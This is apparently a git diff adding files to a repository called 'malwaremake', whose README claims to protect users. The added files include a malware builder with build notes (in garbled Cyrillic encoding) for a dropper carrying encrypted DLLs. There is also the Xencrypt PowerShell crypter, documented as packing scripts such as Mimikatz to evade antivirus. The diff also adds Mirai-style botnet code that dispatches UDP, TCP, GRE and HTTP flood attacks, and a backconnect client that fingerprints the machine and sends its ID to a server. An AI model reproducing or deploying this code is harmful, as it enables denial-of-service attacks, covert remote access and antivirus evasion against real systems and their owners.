diff --git a/Builder/FJ.exe b/Builder/FJ.exe
new file mode 100644
index 0000000..4b5f975
Binary files /dev/null and b/Builder/FJ.exe differ
diff --git a/Builder/build.bat b/Builder/build.bat
new file mode 100644
index 0000000..e4b2f1a
--- /dev/null
+++ b/Builder/build.bat
@@ -0,0 +1,6 @@
+MD Release
+
+fj client32.cfg
+fj client64.cfg
+fj installer.cfg
+fj dll.cfg
diff --git a/Builder/build.txt b/Builder/build.txt
new file mode 100644
index 0000000..86ccd98
--- /dev/null
+++ b/Builder/build.txt
@@ -0,0 +1,6 @@
+1. Ðåäàêòèðóåì \client.ini, ïðîïèñûâàåì äîìåíû, ãðóïïó è òàéìèíãè.
+2. Âûïîëíÿåì \builder\build.bat. Ïîëó÷àåì íà âûõîäå \bbuilder\Release\client32.dll è \builder\Release\client64.dll,
+ ãîòîâûå DLL-êè, ñîäåðæàùèå INI-ôàéë.
+3. Êðèïòóåì DLL-êè.
+4. Âûïîëíÿåì \builder\installer.bat. Ïîëó÷àåì íà âûõîäå \builder\Release\installer.exe - ãîòîâûé äðîïïåð,
+ ñîäåðæàùèé êðèïòîâàíûå DLL-êè.
diff --git a/Builder/client32.cfg b/Builder/client32.cfg
new file mode 100644
index 0000000..8a82314
--- /dev/null
+++ b/Builder/client32.cfg
@@ -0,0 +1,4 @@
+SOURCE: ..\release(builder)\client.dll
+BIN: ..\public.key
+INI: ..\client.ini
+OUT: release\client32.dll
diff --git a/Builder/client64.cfg b/Builder/client64.cfg
new file mode 100644
index 0000000..e04a13b
--- /dev/null
+++ b/Builder/client64.cfg
@@ -0,0 +1,4 @@
+SOURCE: ..\x64\release(builder)\client.dll
+BIN: ..\public.key
+INI: ..\client.ini
+OUT: release\client64.dll
diff --git a/Builder/dll.cfg b/Builder/dll.cfg
new file mode 100644
index 0000000..ae1b5a3
--- /dev/null
+++ b/Builder/dll.cfg
@@ -0,0 +1,4 @@
+SOURCE: ..\Release(builder)\crm.dll
+DLL: Release\client32.dll
+DLL: Release\client64.dll
+OUT: Release\installer.dll
diff --git a/Builder/installer.bat b/Builder/installer.bat
new file mode 100644
index 0000000..1c37935
--- /dev/null
+++ b/Builder/installer.bat
@@ -0,0 +1 @@
+fj installer.cfg
diff --git a/Builder/installer.cfg b/Builder/installer.cfg
new file mode 100644
index 0000000..ecb5798
--- /dev/null
+++ b/Builder/installer.cfg
@@ -0,0 +1,4 @@
+SOURCE: ..\release(builder)\crm.exe
+DLL: release\client32.dll
+DLL: release\client64.dll
+OUT: Release\installer.exe
diff --git a/Builder/set b/Builder/set
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ b/Builder/set
@@ -0,0 +1 @@
+
diff --git a/README.md b/README.md
index 92a7735..3089b15 100644
--- a/README.md
+++ b/README.md
@@ -1,2 +1,11 @@
# malwaremake
making malware to protect users from viruses and trojans
+# byass
+
+the bypass is to find any sort of suspicious activity and malicious behaviours from the file
+# checker
+the checker is to check if the file is safe for the **CILENT** and to find out what does the application do to the user and what permissons the application must have
+
+# Malware
+the malware example file is in the Builder folder the checker is in simple raw code so far the file will be inputted soon same for the anti virus
+
diff --git a/anti-virus/bypass.png b/anti-virus/bypass.png
new file mode 100644
index 0000000..01e2b24
Binary files /dev/null and b/anti-virus/bypass.png differ
diff --git a/anti-virus/fud.png b/anti-virus/fud.png
new file mode 100644
index 0000000..759d133
Binary files /dev/null and b/anti-virus/fud.png differ
diff --git a/anti-virus/xencrypt.ps1 b/anti-virus/xencrypt.ps1
new file mode 100644
index 0000000..0d49393
--- /dev/null
+++ b/anti-virus/xencrypt.ps1
@@ -0,0 +1,198 @@
+# Xencrypt - PowerShell crypter
+#
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+
+Set-StrictMode -Version Latest
+$ErrorActionPreference = "Stop"
+$PSDefaultParameterValues['*:ErrorAction']='Stop'
+
+function Create-Var() {
+ #Variable length help vary the length of the file generated
+ #old: [guid]::NewGuid().ToString().Substring(24 + (Get-Random -Maximum 9))
+ $set = "abcdefghijkmnopqrstuvwxyz"
+ (1..(4 + (Get-Random -Maximum 6)) | %{ $set[(Get-Random -Minimum 0 -Maximum $set.Length)] } ) -join ''
+}
+
+function Invoke-Xencrypt {
+ <#
+ .SYNOPSIS
+
+ Invoke-Xencrypt takes any PowerShell script as an input and both packs and encrypts it to evade AV. It also lets you layer this recursively however many times you want in order to foil dynamic & heuristic detection.
+
+ .DESCRIPTION
+
+ Invoke-Xencrypt takes any PowerShell script as an input and both packs and encrypts it to evade AV.
+ The output script is highly randomized in order to make static analysis even more difficut.
+ It also lets you layer this recursively however many times you want in order to attempt to foil dynamic & heuristic detection.
+
+
+ .PARAMETER InFile
+ Specifies the script to obfuscate/encrypt.
+
+ .PARAMETER OutFile
+ Specifies the output script.
+
+ .PARAMETER Iterations
+ The number of times the PowerShell script will be packed & crypted recursively. Default is 2.
+
+ .EXAMPLE
+
+ PS> Invoke-Xencrypt -InFile Invoke-Mimikatz.ps1 -OutFile banana.ps1 -Iterations 3
+
+ .LINK
+
+ https://github.com/the-xentropy/xencrypt
+
+ #>
+
+ [CmdletBinding()]
+ Param (
+ [Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
+ [string] $infile = $(Throw("-InFile is required")),
+ [Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
+ [string] $outfile = $(Throw("-OutFile is required")),
+ [Parameter(Mandatory=$false,ValueFromPipeline,ValueFromPipelineByPropertyName)]
+ [string] $iterations = 2
+ )
+ Process {
+ Write-Output "
+Xencrypt Copyright (C) 2020 Xentropy ( @SamuelAnttila )
+This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+This is free software, and you are welcome to redistribute it
+under certain conditions.
+"
+
+ # read
+ Write-Output "[*] Reading '$($infile)' ..."
+ $codebytes = [System.IO.File]::ReadAllBytes($infile)
+
+
+ for ($i = 1; $i -le $iterations; $i++) {
+ # Decide on encryption params ahead of time
+
+ Write-Output "[*] Starting code layer ..."
+ $paddingmodes = 'PKCS7','ISO10126','ANSIX923','Zeros'
+ $paddingmode = $paddingmodes | Get-Random
+ $ciphermodes = 'ECB','CBC'
+ $ciphermode = $ciphermodes | Get-Random
+
+ $keysizes = 128,192,256
+ $keysize = $keysizes | Get-Random
+
+ $compressiontypes = 'Gzip','Deflate'
+ $compressiontype = $compressiontypes | Get-Random
+
+ # compress
+ Write-Output "[*] Compressing ..."
+ [System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream
+ if ($compressiontype -eq "Gzip") {
+ $compressionStream = New-Object System.IO.Compression.GzipStream $output, ([IO.Compression.CompressionMode]::Compress)
+ } elseif ( $compressiontype -eq "Deflate") {
+ $compressionStream = New-Object System.IO.Compression.DeflateStream $output, ([IO.Compression.CompressionMode]::Compress)
+ }
+ $compressionStream.Write( $codebytes, 0, $codebytes.Length )
+ $compressionStream.Close()
+ $output.Close()
+ $compressedBytes = $output.ToArray()
+
+ # generate key
+ Write-Output "[*] Generating encryption key ..."
+ $aesManaged = New-Object "System.Security.Cryptography.AesManaged"
+ if ($ciphermode -eq 'CBC') {
+ $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
+ } elseif ($ciphermode -eq 'ECB') {
+ $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB
+ }
+
+ if ($paddingmode -eq 'PKCS7') {
+ $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
+ } elseif ($paddingmode -eq 'ISO10126') {
+ $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::ISO10126
+ } elseif ($paddingmode -eq 'ANSIX923') {
+ $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::ANSIX923
+ } elseif ($paddingmode -eq 'Zeros') {
+ $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
+ }
+
+ $aesManaged.BlockSize = 128
+ $aesManaged.KeySize = 256
+ $aesManaged.GenerateKey()
+ $b64key = [System.Convert]::ToBase64String($aesManaged.Key)
+
+ # encrypt
+ Write-Output "[*] Encrypting ..."
+ $encryptor = $aesManaged.CreateEncryptor()
+ $encryptedData = $encryptor.TransformFinalBlock($compressedBytes, 0, $compressedBytes.Length);
+ [byte[]] $fullData = $aesManaged.IV + $encryptedData
+ $aesManaged.Dispose()
+ $b64encrypted = [System.Convert]::ToBase64String($fullData)
+
+ # write
+ Write-Output "[*] Finalizing code layer ..."
+
+ # now, randomize the order of any statements that we can to further increase variation
+
+ $stub_template = ''
+
+ $code_alternatives = @()
+ $code_alternatives += '${2} = [System.Convert]::FromBase64String("{0}")' + "`r`n"
+ $code_alternatives += '${3} = [System.Convert]::FromBase64String("{1}")' + "`r`n"
+ $code_alternatives += '${4} = New-Object "System.Security.Cryptography.AesManaged"' + "`r`n"
+ $code_alternatives_shuffled = $code_alternatives | Sort-Object {Get-Random}
+ $stub_template += $code_alternatives_shuffled -join ''
+
+ $code_alternatives = @()
+ $code_alternatives += '${4}.Mode = [System.Security.Cryptography.CipherMode]::'+$ciphermode + "`r`n"
+ $code_alternatives += '${4}.Padding = [System.Security.Cryptography.PaddingMode]::'+$paddingmode + "`r`n"
+ $code_alternatives += '${4}.BlockSize = 128' + "`r`n"
+ $code_alternatives += '${4}.KeySize = '+$keysize + "`n" + '${4}.Key = ${3}' + "`r`n"
+ $code_alternatives += '${4}.IV = ${2}[0..15]' + "`r`n"
+ $code_alternatives_shuffled = $code_alternatives | Sort-Object {Get-Random}
+ $stub_template += $code_alternatives_shuffled -join ''
+
+ $code_alternatives = @()
+ $code_alternatives += '${6} = New-Object System.IO.MemoryStream(,${4}.CreateDecryptor().TransformFinalBlock(${2},16,${2}.Length-16))' + "`r`n"
+ $code_alternatives += '${7} = New-Object System.IO.MemoryStream' + "`r`n"
+ $code_alternatives_shuffled = $code_alternatives | Sort-Object {Get-Random}
+ $stub_template += $code_alternatives_shuffled -join ''
+
+
+ if ($compressiontype -eq "Gzip") {
+ $stub_template += '${5} = New-Object System.IO.Compression.GzipStream ${6}, ([IO.Compression.CompressionMode]::Decompress)' + "`r`n"
+ } elseif ( $compressiontype -eq "Deflate") {
+ $stub_template += '${5} = New-Object System.IO.Compression.DeflateStream ${6}, ([IO.Compression.CompressionMode]::Decompress)' + "`r`n"
+ }
+ $stub_template += '${5}.CopyTo(${7})' + "`r`n"
+
+ $code_alternatives = @()
+ $code_alternatives += '${5}.Close()' + "`r`n"
+ $code_alternatives += '${4}.Dispose()' + "`r`n"
+ $code_alternatives += '${6}.Close()' + "`r`n"
+ $code_alternatives += '${8} = [System.Text.Encoding]::UTF8.GetString(${7}.ToArray())' + "`r`n"
+ $code_alternatives_shuffled = $code_alternatives | Sort-Object {Get-Random}
+ $stub_template += $code_alternatives_shuffled -join ''
+
+ $stub_template += ('Invoke-Expression','IEX' | Get-Random)+'(${8})' + "`r`n"
+
+
+ # it's ugly, but it beats concatenating each value manually.
+ $code = $stub_template -f $b64encrypted, $b64key, (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var)
+ $codebytes = [System.Text.Encoding]::UTF8.GetBytes($code)
+ }
+ Write-Output "[*] Writing '$($outfile)' ..."
+ [System.IO.File]::WriteAllText($outfile,$code)
+ Write-Output "[+] Done!"
+ }
+}
diff --git a/attack/attack.c b/attack/attack.c
new file mode 100644
index 0000000..4d3bfcb
--- /dev/null
+++ b/attack/attack.c
@@ -0,0 +1,250 @@
+#define _GNU_SOURCE
+
+#ifdef DEBUG
+#include
+#endif
+#include
+#include
+#include
+#include
+
+#include "includes.h"
+#include "attack.h"
+#include "rand.h"
+#include "util.h"
+#include "scanner.h"
+
+
+uint8_t methods_len = 0;
+struct attack_method **methods = NULL;
+int attack_ongoing[ATTACK_CONCURRENT_MAX] = {0};
+
+BOOL attack_init(void)
+{
+ int i;
+
+ add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic);
+ add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse);
+ add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns);
+ add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain);
+
+ add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn);
+ add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack);
+ add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp);
+
+ add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip);
+ add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth);
+
+ //add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy);
+ add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http);
+
+ return TRUE;
+}
+
+void attack_kill_all(void)
+{
+ int i;
+
+#ifdef DEBUG
+ printf("[attack] Killing all ongoing attacks\n");
+#endif
+
+ for (i = 0; i < ATTACK_CONCURRENT_MAX; i++)
+ {
+ if (attack_ongoing[i] != 0)
+ kill(attack_ongoing[i], 9);
+ attack_ongoing[i] = 0;
+ }
+
+#ifdef MIRAI_TELNET
+ scanner_init();
+#endif
+}
+
+void attack_parse(char *buf, int len)
+{
+ int i;
+ uint32_t duration;
+ ATTACK_VECTOR vector;
+ uint8_t targs_len, opts_len;
+ struct attack_target *targs = NULL;
+ struct attack_option *opts = NULL;
+
+ // Read in attack duration uint32_t
+ if (len < sizeof (uint32_t))
+ goto cleanup;
+ duration = ntohl(*((uint32_t *)buf));
+ buf += sizeof (uint32_t);
+ len -= sizeof (uint32_t);
+
+ // Read in attack ID uint8_t
+ if (len == 0)
+ goto cleanup;
+ vector = (ATTACK_VECTOR)*buf++;
+ len -= sizeof (uint8_t);
+
+ // Read in target count uint8_t
+ if (len == 0)
+ goto cleanup;
+ targs_len = (uint8_t)*buf++;
+ len -= sizeof (uint8_t);
+ if (targs_len == 0)
+ goto cleanup;
+
+ // Read in all targs
+ if (len < ((sizeof (ipv4_t) + sizeof (uint8_t)) * targs_len))
+ goto cleanup;
+ targs = calloc(targs_len, sizeof (struct attack_target));
+ for (i = 0; i < targs_len; i++)
+ {
+ targs[i].addr = *((ipv4_t *)buf);
+ buf += sizeof (ipv4_t);
+ targs[i].netmask = (uint8_t)*buf++;
+ len -= (sizeof (ipv4_t) + sizeof (uint8_t));
+
+ targs[i].sock_addr.sin_family = AF_INET;
+ targs[i].sock_addr.sin_addr.s_addr = targs[i].addr;
+ }
+
+ // Read in flag count uint8_t
+ if (len < sizeof (uint8_t))
+ goto cleanup;
+ opts_len = (uint8_t)*buf++;
+ len -= sizeof (uint8_t);
+
+ // Read in all opts
+ if (opts_len > 0)
+ {
+ opts = calloc(opts_len, sizeof (struct attack_option));
+ for (i = 0; i < opts_len; i++)
+ {
+ uint8_t val_len;
+
+ // Read in key uint8
+ if (len < sizeof (uint8_t))
+ goto cleanup;
+ opts[i].key = (uint8_t)*buf++;
+ len -= sizeof (uint8_t);
+
+ // Read in data length uint8
+ if (len < sizeof (uint8_t))
+ goto cleanup;
+ val_len = (uint8_t)*buf++;
+ len -= sizeof (uint8_t);
+
+ if (len < val_len)
+ goto cleanup;
+ opts[i].val = calloc(val_len + 1, sizeof (char));
+ util_memcpy(opts[i].val, buf, val_len);
+ buf += val_len;
+ len -= val_len;
+ }
+ }
+
+ errno = 0;
+ attack_start(duration, vector, targs_len, targs, opts_len, opts);
+
+ // Cleanup
+ cleanup:
+ if (targs != NULL)
+ free(targs);
+ if (opts != NULL)
+ free_opts(opts, opts_len);
+}
+
+void attack_start(int duration, ATTACK_VECTOR vector, uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
+{
+ int pid1, pid2;
+
+ pid1 = fork();
+ if (pid1 == -1 || pid1 > 0)
+ return;
+
+ pid2 = fork();
+ if (pid2 == -1)
+ exit(0);
+ else if (pid2 == 0)
+ {
+ sleep(duration);
+ kill(getppid(), 9);
+ exit(0);
+ }
+ else
+ {
+ int i;
+
+ for (i = 0; i < methods_len; i++)
+ {
+ if (methods[i]->vector == vector)
+ {
+#ifdef DEBUG
+ printf("[attack] Starting attack...\n");
+#endif
+ methods[i]->func(targs_len, targs, opts_len, opts);
+ break;
+ }
+ }
+
+ //just bail if the function returns
+ exit(0);
+ }
+}
+
+char *attack_get_opt_str(uint8_t opts_len, struct attack_option *opts, uint8_t opt, char *def)
+{
+ int i;
+
+ for (i = 0; i < opts_len; i++)
+ {
+ if (opts[i].key == opt)
+ return opts[i].val;
+ }
+
+ return def;
+}
+
+int attack_get_opt_int(uint8_t opts_len, struct attack_option *opts, uint8_t opt, int def)
+{
+ char *val = attack_get_opt_str(opts_len, opts, opt, NULL);
+
+ if (val == NULL)
+ return def;
+ else
+ return util_atoi(val, 10);
+}
+
+uint32_t attack_get_opt_ip(uint8_t opts_len, struct attack_option *opts, uint8_t opt, uint32_t def)
+{
+ char *val = attack_get_opt_str(opts_len, opts, opt, NULL);
+
+ if (val == NULL)
+ return def;
+ else
+ return inet_addr(val);
+}
+
+static void add_attack(ATTACK_VECTOR vector, ATTACK_FUNC func)
+{
+ struct attack_method *method = calloc(1, sizeof (struct attack_method));
+
+ method->vector = vector;
+ method->func = func;
+
+ methods = realloc(methods, (methods_len + 1) * sizeof (struct attack_method *));
+ methods[methods_len++] = method;
+}
+
+static void free_opts(struct attack_option *opts, int len)
+{
+ int i;
+
+ if (opts == NULL)
+ return;
+
+ for (i = 0; i < len; i++)
+ {
+ if (opts[i].val != NULL)
+ free(opts[i].val);
+ }
+ free(opts);
+}
diff --git a/bcclient/bcclient.c b/bcclient/bcclient.c
new file mode 100644
index 0000000..d08001d
--- /dev/null
+++ b/bcclient/bcclient.c
@@ -0,0 +1,278 @@
+/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+// BCSRV project. Version 1.0
+//
+// module: bcclient.c
+// $Revision: 50 $
+// $Date: 2014-04-10 20:57:30 +0400 (Чт, 10 апр 2014) $
+// description:
+// BC-Server client library.
+// Provides necessary functions and structures for obtaining BC port pair information.
+
+#include "..\common\common.h"
+#include "bcclient.h"
+
+#define wczMinus L'-'
+
+
+#ifndef NT_INCLUDED
+
+#pragma pack(push)
+#pragma pack(1)
+typedef struct _NT_SID
+{
+ UCHAR Revision;
+ UCHAR SubcreatedityCount;
+ UCHAR Identifiercreatedity[6];
+ ULONG Subcreatedity[5];
+} NT_SID, *PNT_SID;
+#pragma pack(pop)
+
+#endif // NT_INCLUDED
+
+//
+// Fills the specified NT_SID structure with a SID of the current process.
+//
+BOOL GetProcessUserSID(
+ HANDLE Pid,
+ PNT_SID pSid
+ )
+{
+ NTSTATUS ntStatus;
+ HANDLE hProcess;
+ OBJECT_ATTRIBUTES oa = {0};
+ CLIENT_ID ClientId = {Pid, 0};
+ HANDLE hToken;
+ ULONG rSize = 0;
+ LPTSTR SidStr = NULL;
+ BOOL Ret = FALSE;
+
+ InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);
+
+ ntStatus = ZwOpenProcess(&hProcess, PROCESS_QUERY_INFORMATION, &oa, &ClientId);
+
+ if (NT_SUCCESS(ntStatus))
+ {
+ ntStatus = ZwOpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
+ if (NT_SUCCESS(ntStatus))
+ {
+ PTOKEN_USER pUserInfo;
+ ntStatus = ZwQueryInformationToken(hToken, TokenUser, NULL, 0, &rSize);
+
+ pUserInfo = (PTOKEN_USER)AppAlloc(rSize);
+ if (pUserInfo)
+ {
+ ntStatus = ZwQueryInformationToken(hToken, TokenUser, pUserInfo, rSize, &rSize);
+ if (NT_SUCCESS(ntStatus))
+ {
+ memcpy(pSid, pUserInfo->User.Sid, sizeof(NT_SID));
+ Ret = TRUE;
+ }
+ AppFree(pUserInfo);
+ } // if (pUserInfo)
+ ZwClose(hToken);
+ } // if (NT_SUCCESS(ntStatus))
+ ZwClose(hProcess);
+ } // if (NT_SUCCESS(ntStatus))
+
+ return(Ret);
+}
+
+
+
+
+#ifdef _BC_GENERATE_ID
+
+//
+// Cuts the specified substring from the source string.
+//
+BOOL WcsCut(
+ LPWSTR Source, // source string
+ LPWSTR Cut // substring to cut
+ )
+{
+ BOOL Ret = FALSE;
+ LPWSTR pCut;
+ ULONG Len = lstrlenW(Cut);
+
+ while(pCut = StrStrW(Source, Cut))
+ {
+ StrCpyW(pCut, pCut + Len);
+ Ret = TRUE;
+ }
+
+ return(Ret);
+}
+
+
+//
+// Allocates and returns a string with current user's SID
+// The string should be freed by the caller
+//
+static LPWSTR GetProcessUserSIDString(
+ HANDLE Pid
+ )
+{
+ LPWSTR SidStr = NULL;
+ NT_SID Sid;
+ UNICODE_STRING uSidStr = {0};
+
+ if (GetProcessUserSID(Pid, &Sid))
+ {
+ if (NT_SUCCESS(RtlConvertSidToUnicodeString(&uSidStr, &Sid, TRUE)))
+ {
+ if (SidStr = AppAlloc(uSidStr.Length + sizeof(WCHAR)))
+ {
+ memcpy(SidStr, uSidStr.Buffer, uSidStr.Length);
+ SidStr[uSidStr.Length / sizeof(WCHAR)] = 0;
+ }
+ RtlFreeUnicodeString(&uSidStr);
+ }
+ } // if (LsaSupGetProcessUserSID(Pid, &Sid))
+ return(SidStr);
+}
+
+
+//
+// Resolves system parameters and fills the specified BC_MACHINE_ID struture.
+//
+VOID _stdcall BcCreateSystemId(
+ PBC_MACHINE_ID pSystemId
+ )
+{
+ LANGID LangId;
+ ULONG Length, i;
+ PWCHAR pName;
+ OSVERSIONINFOEX VersionInfo;
+
+ for (i=0; i<(sizeof(BC_MACHINE_ID) / sizeof(WCHAR)); i++)
+ pSystemId->Padding[i] = L'0';
+
+ // Getting user default language code
+ if (GetLocaleInfoW(LOCALE_USER_DEFAULT, LOCALE_SISO3166CTRYNAME, (PWCHAR)&pSystemId->Language, LANGUAGE_ID_LEN + 1) == 0)
+ {
+ // Getting system langauge code
+ LangId = GetSystemDefaultUILanguage();
+ VerLanguageNameW(LangId, (PWCHAR)&pSystemId->Language, LANGUAGE_ID_LEN + 1);
+ }
+
+ // Getting computer name
+ Length = 0;
+ GetComputerNameW(NULL, &Length);
+
+ if (Length && (pName = AppAlloc(Length * sizeof(WCHAR))))
+ {
+ if (GetComputerNameW(pName, &Length))
+ {
+ // Removing "-" and " " from the computer name
+ WcsCut(pName, L"-");
+ WcsCut(pName, L" ");
+ memcpy(&pSystemId->MachineName, pName, min(lstrlenW(pName), MACHINE_NAME_LEN) * sizeof(WCHAR));
+ }
+ AppFree(pName);
+ }
+
+ // Getting OS version info
+ VersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
+ GetVersionEx((LPOSVERSIONINFO)&VersionInfo);
+
+ switch(VersionInfo.dwMajorVersion)
+ {
+ case 5:
+ switch(VersionInfo.dwMinorVersion)
+ {
+ case 0:
+ pSystemId->OsVersion[0] = VER_ID_2000;
+ case 1:
+ pSystemId->OsVersion[0] = VER_ID_XP;
+ break;
+ case 2:
+ if (VersionInfo.wProductType == VER_NT_WORKSTATION)
+ pSystemId->OsVersion[0] = VER_ID_XP;
+ else
+ pSystemId->OsVersion[0] = VER_ID_2003;
+ break;
+ default:
+ break;
+ } // switch(VersionInfo.dwMinorVersion)
+ break;
+ case 6:
+ switch(VersionInfo.dwMinorVersion)
+ {
+ case 0:
+ if (VersionInfo.wProductType == VER_NT_WORKSTATION)
+ pSystemId->OsVersion[0] = VER_ID_VISTA;
+ else
+ pSystemId->OsVersion[0] = VER_ID_2008;
+ break;
+ case 1:
+ if (VersionInfo.wProductType == VER_NT_WORKSTATION)
+ pSystemId->OsVersion[0] = VER_ID_WIN7;
+ else
+ pSystemId->OsVersion[0] = VER_ID_2008R2;
+ break;
+ default:
+ break;
+ } // switch(VersionInfo.dwMinorVersion)
+ break;
+ case 7:
+ pSystemId->OsVersion[0] = VER_ID_WIN8;
+ break;
+ default:
+ break;
+ } // switch(VersionInfo.dwMajorVersion)
+ pSystemId->OsVersion[1] = VersionInfo.wServicePackMajor + 0x30;
+
+ // Getting machine SID
+ if (pName = GetProcessUserSIDString((HANDLE)(ULONG_PTR)GetCurrentProcessId()))
+ {
+ PWCHAR pEnd;
+ if (pEnd = StrRChrW(pName, NULL, L'-'))
+ *pEnd = 0;
+ else
+ pEnd = pName + lstrlenW(pName);
+
+ Length = min(lstrlenW(pName), MACHINE_ID_LEN);
+
+ memcpy(&pSystemId->MachineId, pEnd - Length, Length * sizeof(WCHAR));
+
+ AppFree(pName);
+ }
+
+ pSystemId->Delimiter0 = wczMinus;
+ pSystemId->Delimiter1 = wczMinus;
+ pSystemId->Delimiter2 = wczMinus;
+
+ pSystemId->Padding[(sizeof(BC_MACHINE_ID) / sizeof(WCHAR)) - 1] = 0;
+ _wcsupr((PWCHAR)&pSystemId);
+}
+
+#endif // _BC_GENERATE_ID
+
+
+//
+// Returns connection pair (of TCP ports) of a backconnect server.
+//
+WINERROR _stdcall BcSendClientId(
+ SOCKET Socket,
+ LPSTR pClientId
+ )
+{
+ WINERROR Status = NO_ERROR;
+ BC_ID SystemId = {0};
+
+#ifdef _BC_GENERATE_ID
+ BcCreateSystemId(&SystemId.MachineId);
+#else
+ lstrcpyn((LPSTR)&SystemId.MachineId.String, pClientId, sizeof(BC_MACHINE_ID));
+#endif
+
+ SystemId.Crc32 = Crc32((PCHAR)&SystemId.MachineId, sizeof(BC_MACHINE_ID));
+
+ if (_tsend(Socket, (PCHAR)&SystemId, sizeof(BC_ID), 0) != sizeof(BC_ID))
+ {
+ Status = GetLastError();
+ DbgPrint("BCCLIENT: Failed sending machine ID.\n");
+ }
+
+ return(Status);
+}
diff --git a/bcclient/bcclient.h b/bcclient/bcclient.h
new file mode 100644
index 0000000..86aba27
--- /dev/null
+++ b/bcclient/bcclient.h
@@ -0,0 +1,77 @@
+/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+// BCSRV project. Version 1.0
+//
+// module: bcclient.h
+// $Revision: 37 $
+// $Date: 2014-02-19 19:33:48 +0300 (Ср, 19 фев 2014) $
+// description:
+// BC-Server client library. Main definition file.
+
+// OS version codes
+#define VER_ID_2000 L'1'
+#define VER_ID_XP L'2'
+#define VER_ID_2003 L'3'
+#define VER_ID_VISTA L'4'
+#define VER_ID_2008 L'5'
+#define VER_ID_WIN7 L'7'
+#define VER_ID_2008R2 L'8'
+#define VER_ID_WIN8 L'9'
+
+//#define _BC_GENERATE_ID TRUE
+
+// Length of the fields of BC_MACHINE_ID structure
+#define LANGUAGE_ID_LEN 2
+#define VERSION_ID_LEN 2
+#define MACHINE_NAME_LEN 8
+#define MACHINE_ID_LEN 10
+
+
+// Client machine ID structure
+typedef union _BC_MACHINE_ID
+{
+ struct
+ {
+ WCHAR Language[LANGUAGE_ID_LEN]; // default OS language (RU/UK/CA/ES/DE etc...)
+ WCHAR Delimiter0; // delimiter, must be "-"
+ WCHAR OsVersion[VERSION_ID_LEN]; // OS version index (VER_ID_XXX) + OS service pack index (WCHAR)
+ WCHAR Delimiter1; // delimiter, must be "-"
+ WCHAR MachineName[MACHINE_NAME_LEN]; // current computer name
+ WCHAR Delimiter2; // delimiter, must me "-"
+ WCHAR MachineId[MACHINE_ID_LEN]; // last 10 chars of machine SID
+ };
+ CHAR String[(LANGUAGE_ID_LEN + 1 + VERSION_ID_LEN + 1 + MACHINE_NAME_LEN + 1 + MACHINE_ID_LEN + 1) * sizeof(WCHAR)];
+ WCHAR Padding[LANGUAGE_ID_LEN + 1 + VERSION_ID_LEN + 1 + MACHINE_NAME_LEN + 1 + MACHINE_ID_LEN + 1];
+} BC_MACHINE_ID, *PBC_MACHINE_ID;
+
+typedef struct _BC_ID
+{
+ BC_MACHINE_ID MachineId;
+ ULONG Crc32;
+} BC_ID, *PBC_ID;
+
+
+// BC-Server pair of TCP ports
+typedef struct _BC_CONNECTION_PAIR
+{
+ USHORT ServerPort;
+ USHORT ClientPort;
+} BC_CONNECTION_PAIR, *PBC_CONNECTION_PAIR;
+
+
+//
+// Returns connection pair (of TCP ports) of a backconnect server.
+//
+WINERROR _stdcall BcGetConnectionPair(
+ SOCKADDR_IN* pServerAddress,
+ PBC_CONNECTION_PAIR pConnectionPair,
+ LPSTR pClientId
+ );
+
+WINERROR _stdcall BcSendClientId(
+ SOCKET Socket,
+ LPSTR pClientId
+ );
+
+VOID _stdcall BcCreateSystemId(
+ PBC_MACHINE_ID pSystemId
+ );
diff --git a/bcclient/bcclient.vcproj b/bcclient/bcclient.vcproj
new file mode 100644
index 0000000..2de792d
--- /dev/null
+++ b/bcclient/bcclient.vcproj
@@ -0,0 +1,1078 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
